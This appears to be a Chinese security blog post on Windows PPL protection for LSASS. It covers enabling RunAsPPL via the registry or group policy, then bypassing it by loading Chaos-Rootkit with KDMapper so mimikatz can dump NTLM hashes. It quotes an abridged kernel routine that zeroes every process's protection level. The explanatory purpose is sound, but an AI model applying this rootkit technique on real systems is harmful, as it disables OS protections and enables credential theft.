windows rookit防护-PPL保护

项目地址：https://github.com/ZeroMemoryEx/Chaos-Rootkit

之前文章:

或许我们的公众号会有更多你感兴趣的内容

效果展示

**为什么我已经提权到了administrator但是mimikatz依旧无法dump lsass？**先不讲长篇大论，直接看看效果有个初次感受。依旧是windows 10 22H2版本，用KDM Mapper加载rootkit后使用。

使用前：

使用后：

Chaos-Rootkit的DbgPrint

PPL保护介绍

PPL全称是： Protected Process Light，前身是Protected Process。具体区别就是之前的进程只分为受保护和不受保护，没有提供更加细致的保护等级划分，只需要使用 SeDebugPrivilege 令牌权限即可获取任意进程的所有访问权限。在Windows 8.1过后在此基础之上新增了PPL。

根据《深入解析Windows操作系统（第7版）（卷1）》中的描述（具体可见3.3.1 受保护进程轻型(PPL)）：

其中不同的签名方代表不同的信任等级

这样实现低等级的进程即使已经提权也无法对更高等级的进程进行内存读写，红队中比较常用的就是使用mimikatz进行LSASS Dump，如果存在PPL保护，需要的就不止SeDebugPrivilege了。这里针对这个一问题进行举例。

mimikatz LSASS Dump

在注册表HKLM\SYSTEM\CurrentControlSet\Control\Lsa中新增DWORD 值RunAsPPL，值为1

如果在AD域中设置

打开组策略管理控制台 (GPMC)。
创建在域级别链接或链接到包含您的计算机帐户的组织单位的新 GPO。或者，您可以选择已部署的 GPO。
右键单击 GPO，然后单击编辑以打开组策略管理编辑器。
展开计算机配置，展开首选项，然后展开Windows 设置。
右键单击注册表，指向新建，然后单击注册表项。将出现“新建注册表属性”对话框。
在Hive列表中，单击HKEY_LOCAL_MACHINE。
在Key Path列表中，浏览至SYSTEM\CurrentControlSet\Control\Lsa。
在值名称框中，键入RunAsPPL。
在值类型框中，单击REG_DWORD。
在数值数据框中，键入00000001。
单击确定。

即使是管理员权限也不能读取到LSASS中的NTML Hash。

在加载Rootkit并且强制关闭所有进程（包括Lsass的保护后）

如何绕过

很明显一个直接思路就是修改注册表HKLM\SYSTEM\CurrentControlSet\Control\Lsa，删除或者修改RunAsPPL值。缺点也很明显，需要重启才能生效。

这里我们分析rootkit的相关代码

DWORD UnprotectAllProcesses() {
    PVOID process = NULL;
    PLIST_ENTRY plist;
    NTSTATUS status = STATUS_UNSUCCESSFUL;
    NTSTATUS ret = PsLookupProcessByProcessId((HANDLE)4, (PEPROCESS*)&process);
	// ret check ...
    __try
    {
        plist = (PLIST_ENTRY)((char*)process + eoffsets.ActiveProcessLinks_offset);

        while (plist->Flink != (PLIST_ENTRY)((char*)process + eoffsets.ActiveProcessLinks_offset))
        {
            DbgPrint("Blink: %p, Flink: %p\n", plist->Blink, plist->Flink);

            ULONG_PTR EProtectionLevel = (ULONG_PTR)plist->Flink - eoffsets.ActiveProcessLinks_offset + eoffsets.protection_offset;

            *(BYTE*)EProtectionLevel = (BYTE)0;

            plist = plist->Flink;
        }
        status = STATUS_SUCCESS;
    }
    //__finally {  ...  }

}

首先使用PsLookupProcessByProcessId从内核中找到system进程（system进程PID恒为4），然后顺着ActiveProcessLink遍历进程，通过protection_offset将EProtectionLevel=0。编程上的思路如此，那么实际内存中呢？重启后使用windbg调试来对比一下。

复习一下EPROCESS的偏移，也可以参考utils.c中的 InitializeOffsets函数